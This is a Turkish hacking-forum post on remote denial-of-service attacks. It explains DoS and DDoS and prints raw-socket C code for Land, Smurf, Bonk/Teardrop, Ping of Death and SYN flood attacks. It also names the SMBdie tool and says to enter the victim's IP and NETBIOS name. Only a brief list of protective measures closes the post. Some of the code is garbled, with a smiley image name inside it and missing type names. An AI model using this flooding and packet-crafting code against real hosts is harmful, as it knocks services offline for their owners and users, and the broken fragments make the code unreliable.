uzaktan saldırılar

atlas_tr

Kıdemli Üye
8 Ocak 2008
2,380
14
NErDe OLsam BEğeNİRsin
Bu tür bir saldırının yapılabilmesi için en az bir tane
internete bağlı bir bilgisayara ihtiyaç vardır .Bir tane
bilgisayarla yapılan bu tür saldırılara "DoS"(Denial of
Service) denir.
Fakat yapılabilecek saldırı DDoS (Distributed Denial of
Service) olacaksa ne kadar fazla makina olursa o kadarda
saldırının başarılı olması muhtemeldir.
Bunun için de genelde bir çok makinayı ele geçirecek ve bu
doğrultuda kullanacak virüs(trojan,worm) yazılır ve internetde
yayılması sağlanır.
Daha sonra ise aynı anda hedefe toplu sorgu yapılmaya
çalışılıyor ve bu şekilde hedefteki bilgisayar sisteminin bu
sorgulara cevap vermeye yetişemeyerek servis dışı kalması
sağlanır.

"SMBdie" Saldırısı
SMB (Server Message Block) - Bu Microsoft un windows ta
bulunan dosya,yazıcı yönetimi ile ilgili bir
protokoldür.NETBIOS açık olan Windows (NT/2k/XP/.NET RC1)
yapılan
bu tür bir saldırı onu etkisiz hale getirmeye
yeterlidir.Teorik olarak SMBdie saldırısı ile uzaktaki
makinada istenilen kod çalıştırılabilir.Pratikte ise bu
yöntemle effektif DoS saldırısı
yapıla biliyor.SMB ni sıradan çıkarmak için o makinaya özel
bir sorgu gönderilmesi lazımdır.Hatta bu saldırıyı otomatik
hale getirmek için program mevcuttur bu programı
packetstorm.linuxsecurity.com sitesinde (programın ismi
SMBdie) indirebilirsiniz.Bu programla saldırıyı
gerçekleştirmek için yapmanız gereken şey kurbanın IP adresini
ve NETBIOS
isimini girmeniz gerekir.Linux altında çalışan SMB ler içinde
buna benzer program yazılabilir.
"Land" Saldırısı
Acaba DoS ve buna benzer saldırısında internete bir sürü sorgu
gönderiyoruz, bunu yapmak zorundamıyız? Hayır! Çünki bunu
kurban bilgisayarın kenidisine de yaptırabiliriz.
Bu yöntemle bilgisayarı kendisini yok eden kamikaze(kendine
suikast yapan) dönüştüre biliriz.Bu yöntemde asıl amaç kurban
bilgisayarın kendi kendisine
(Buna TCP/IP izin veriyor) fazla sayıda sorgu göndermesini ve
servis dışı olmasını sağlamaktır.Bunu yapmak için kurbana
gönderen adres kısmında kendi IP’si yazılı olan
IP paketi gönderiyoruz.Gönderenin portu ile Alıcı portunun da
aynı olmasına dikkat ediyoruz.Bazı işletim sistemleri bu tür
paketleri alınca IP paketdeki gönderen adresine yani kendisine
cevap göndermeye çalışıyorlar.Bu şekilde sonsuz bir döngü
oluşuyor ve sistemin devre dışı kalıyor.Bu eski yöntemin en
önemli kod kısımlarına bakalım:

Kod:
//tanımlar
struct sockaddr_in sin;
struct hostent * hoste;
int sock;
struct ip * ipheader=(struct ip *) buffer;
//ismine göre host arıyoruz.
hoste = gethostbyname(argv[1]);
bcopy(hoste-> h_addr,&sin.sin_addr,hoste-> h_length);
//port numarasını sayıya çeviriyoruz.
sin.sin_port = htons(atoi(argv[2]));
sock = socket(AF_INET, SOCK_RAW, 255);
//gönderenin ve alıcının adreslerini ayarlıyoruz.
ipheader-> ip_src=sin.sin_addr;
ipheader-> ip_dst=sin.sin_addr;
//gönderenin ve alıcının port numaralarını ayarlıyoruz.
tcpheader-> th_sport=sin.sin_port;
tcpheader-> th_dport=sin.sin_port;
//paketi gönderiyoruz.
sendto(sock,buffer,sizeof(struct ip)+sizeof(struct
tcphdr),0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in);
Bu tür Land saldırılarının çok daha gelişmiş ve yenileri
vardır.Bunlardan biride internetde bulunabilen "La Tierra"
dır.

"Smurf" saldırısı
Yukarıda gördüğümüz "Land" saldırısı tüm işletim sistemlerinde
olmadığından bazen etkisiz kalabiliyor.Eğer biz gönderen
adresinde kurbanın IP’si
yazılı ICMP paketini broadcast olarak gönderirsek Bu sorguyu
alan tüm subnete ait makinalar bu pakete cevap vermek için
kurbanın bilgisayarına cevap paketleri yollayacaklar
ve bu şekilde Smurf denen bu saldırıyı gerçekleştirmiş
olacağız.Bu yöntemle alakalı kodu görelim:

Kod:
**** smurf (int sock, struct sockaddr_in sin, u_long dest, int
psize)
{
// IP-başlık
struct iphdr *ip;
// ICMP-başlık
struct icmphdr *icmp;
char *packet;
packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr)
+ psize);
ip = (struct iphdr *)packet;
icmp = (struct icmphdr *) (packet + sizeof(struct iphdr));
memset(packet, 0, sizeof(struct iphdr) + sizeof(struct
icmphdr) + psize);
//IP-paketini oluşturalım
ip-> tot_len = htons(sizeof(struct iphdr) + sizeof(struct
icmphdr) + psize);
ip-> ihl = 5;
ip-> version = 4;
ip-> ttl = 255;
ip-> tos = 0;
ip-> frag_off = 0;
ip-> protocol = IPPROTO_ICMP;
ip-> saddr = sin.sin_addr.s_addr;
ip-> daddr = dest;
ip-> check = in_chksum((u_short *)ip, sizeof(struct iphdr));
//ICMP-paketini oluşturalım
icmp-> type = 8;
icmp-> code = 0;
icmp-> checksum = in_chksum((u_short *)icmp, sizeof(struct
icmphdr) + psize);
//paketi gönderelim
sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct
icmphdr) + psize, 0, (struct sockaddr *)&sin, sizeof(struct
sockaddr));
free(packet);
}
Broadcast adresleri ile ilgili : subnet için bu adresler
208.131.0.0 ,208.131.255.255 olacaktır.
"Teardrop ve Bonk" saldırısı
Bu saldırı bazı işletim sistemlerinin bölünmüş paketleri
toplama işlemindeki bazı zayıflıklardan yararlanıyor.Bu
saldırıda bilgisayara gönderilen 2 özel olarak hazırlanmış
paket parçası kurbanın bilgisayarının hafızasının silinmesini
sağlıyor.Bonk atağı için olan kodu görelim:
Kod:
//tanımlar
#define FRG_CONST 0x3
#define PADDING 0x1c
struct udp_pkt
{
struct iphdr ip;
struct udphdr udp;
char data[PADDING];
} pkt;
**** fondle(int sck, u_long src_addr, u_long dst_addr, int
src_prt, int dst_prt)
{
int bs;
struct sockaddr_in to;
//başlık paketini sıfırlayalım
memset(&pkt, 0, psize);
// şimdi ise IP-başlığını oluşturalım
pkt.ip.version = 4;
pkt.ip.ihl = 5;
pkt.ip.tot_len = htons(udplen + iplen + PADDING);
pkt.ip.id = htons(0x455);
pkt.ip.ttl = 255;
pkt.ip.protocol = IP_UDP;
pkt.ip.saddr = src_addr;
pkt.ip.daddr = dst_addr;
// Bölünmüş paket
pkt.ip.frag_off = htons(0x2000);
// UDP-başlığını oluşturalım
pkt.udp.source = htons(src_prt);
pkt.udp.dest = htons(dst_prt);
pkt.udp.len = htons(8 + PADDING);
//İlk paketi gönderelim
to.sin_family = AF_INET;
to.sin_port = src_prt;
to.sin_addr.s_addr = dst_addr;
bs = sendto(sck, &pkt, psize, 0, (struct sockaddr *) &to,
sizeof(struct sockaddr));
//İkinci paketi gönderelmi
pkt.ip.frag_off = htons(FRG_CONST + 1);
pkt.ip.tot_len = htons(iplen + FRG_CONST);
bs = sendto(sck, &pkt, iplen + FRG_CONST + 1, 0, (struct
sockaddr *) &to, sizeof(struct sockaddr));
}
main()
{
// Daha etkili olmak için bu şekilde 1000 kadar paket
gönderilecektir.
for (i = 0; i < 1000; ++i)
{
fondle(spf_sck, src_addr, dst_addr, src_prt, dst_prt);
usleep(10000);
}
}
"Ping of Death" Saldırısı
Bu saldırıda özel olarak hazırlanmış 64 kb büyük ICMP paket
gönderilerek sağlanıyor.Örnek kod:
Kod:
#ifdef REALLY_RAW
#define FIX(x) htons(x)
#else
#define FIX(x) (x)
#endif
//ICMP-paketini hazırlıyoruz
icmp-> icmp_type = ICMP_ECHO;
icmp-> icmp_code = 0;
icmp-> icmp_cksum = htons(~(ICMP_ECHO <<
cool.gif
);
for (offset = 0; offset < 65536; offset += (sizeof buf -
sizeof *ip))
{
// değişimi hesaplıyoruz
ip-> ip_off = FIX(offset > > 3);
if (offset < 65120)
ip-> ip_off | = FIX(IP_MF);
else
ip-> ip_len = FIX(418);
// paketi gönderiyoruz.
sendto(s, buf, sizeof buf, 0, (struct sockaddr *)&dst, sizeof
dst);
//doğrulama
if (offset == 0)
{
icmp-> icmp_type = 0;
icmp-> icmp_code = 0;
icmp-> icmp_cksum = 0;
}
}
"SYN flooding" Saldırısı
En sonda anlatacağım bu saldırı türü bir önce anlatılanlardan
daha üniversaldır(genel amaçlı).Bu saldırıyı her türlü işletim
sistemine uygulamak olur.
TCP/IP de 2 bilgisayar haberleşmeye başlamadan önce "el
sıkma,tokalaşma" yapılır.Yani A bilgisayarı B bilgisayarına
bağlantı isteyini belirten SYN paketi gönderir.
Buna cevap olarak B bilgisayarıda SYN/ACK paketini gönderir.Bu
paketi alan A bilgisayarı B bilgisayarın hazır oldugunu
anlıyor ve son olarak da ACK paketini göndererek
bağlantıyı sağlamış oluyor.Fakat Server bilgisayara çok fazla
sayıda bağlantı isteği (yani SYN paketi) gönderilirse bunların
bir kısmını red etmeye başlıyor.İşte SYN flooding denen
saldırı bu olayı kullanarak gerçekleşiyor, yani kurban
bilgisayara çok sayıda SYN paketi göndererek diğer tüm gelen
istekleri kabul etmemesini sağlıyor ve Servis dışı kalmış
oluyor.
Şimdi bu saldırı için kodu görelim:
Kod:
// TPC/IP başlığı
struct send_tcp
{
struct iphdr ip;
struct tcphdr tcp;
} send_tcp;
// başlık
struct pseudo_header
{
unsigned int source_address;
unsigned int dest_address;
unsigned char placeholder;
unsigned char protocol;
unsigned short tcp_length;
struct tcphdr tcp;
} pseudo_header;
int i;
int tcp_socket;
struct sockaddr_in sin;
int sinlen;
//IP-paketinin oluşturulması
send_tcp.ip.ihl = 5;
send_tcp.ip.version = 4;
send_tcp.ip.tos = 0;
send_tcp.ip.tot_len = htons(40);
send_tcp.ip.id = getpid();
send_tcp.ip.frag_off = 0;
send_tcp.ip.ttl = 255;
send_tcp.ip.protocol = IPPROTO_TCP;
send_tcp.ip.check = 0;
send_tcp.ip.saddr = source_addr;
send_tcp.ip.daddr = dest_addr;
//TCP-paketinin oluşturulması
send_tcp.tcp.source = getpid();
send_tcp.tcp.dest = htons(dest_port);
send_tcp.tcp.seq = getpid();
send_tcp.tcp.ack_seq = 0;
send_tcp.tcp.res1 = 0;
send_tcp.tcp.doff = 5;
send_tcp.tcp.fin = 0;
send_tcp.tcp.syn = 1;
send_tcp.tcp.rst = 0;
send_tcp.tcp.psh = 0;
send_tcp.tcp.ack = 0;
send_tcp.tcp.urg = 0;
send_tcp.tcp.res2 = 0;
send_tcp.tcp.window = htons(512);
send_tcp.tcp.check = 0;
send_tcp.tcp.urg_ptr = 0;
//sin ayarları
sin.sin_family = AF_INET;
sin.sin_port = send_tcp.tcp.source;
sin.sin_addr.s_addr = send_tcp.ip.daddr;
//socket açıyoruz
tcp_socket = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
for(i = 0; i < numsyns; i++)
{
//ayarlamalar
send_tcp.tcp.source++;
send_tcp.ip.id++;
send_tcp.tcp.seq++;
send_tcp.tcp.check = 0;
send_tcp.ip.check = 0;
// ip kontrol sayısını hesaplıyoruz.
send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip,
20);
// başlıkları ayarlıyoruz.
pseudo_header.source_address = send_tcp.ip.saddr;
pseudo_header.dest_address = send_tcp.ip.daddr;
pseudo_header.placeholder = 0;
pseudo_header.protocol = IPPROTO_TCP;
pseudo_header.tcp_length = htons(20);
bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);
send_tcp.tcp.check = in_cksum((unsigned short
*)&pseudo_header, 32);
sinlen = sizeof(sin);
// paketi gönderiyoruz.
sendto(tcp_socket, &send_tcp, 40, 0, (struct sockaddr *)&sin,
sinlen);
}
close(tcp_socket);
SONUÇ
Şimdi bu kadar saldırıları anlatdıktan sonra onlardan nasıl
korunacağımızı anlatalım:
* Firewall kullanın
* Antivirüs kullanın
* Güvenlikle ilgili son gelişmeleri takip edin.
* Yamaları,Servis packleri kurmayı unutmayın
* SMBdie saldırısından korunmak için Microsoftun bu saldırıya
karşı çıkardığı yamayı kurun.
* Smurf saldırısın tespit için network trafiğini analiz edin.
* Yeni işletim sistemleri "Bonk" saldırısından
etkilenmiyorlar.
Burada anlatılan saldırı çeşitleri dışında da saldırı türleri
mevcuttur.Bunlara örnek olarak DNS flooding, Ping flooding,
UDP bomb ...[/size]
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.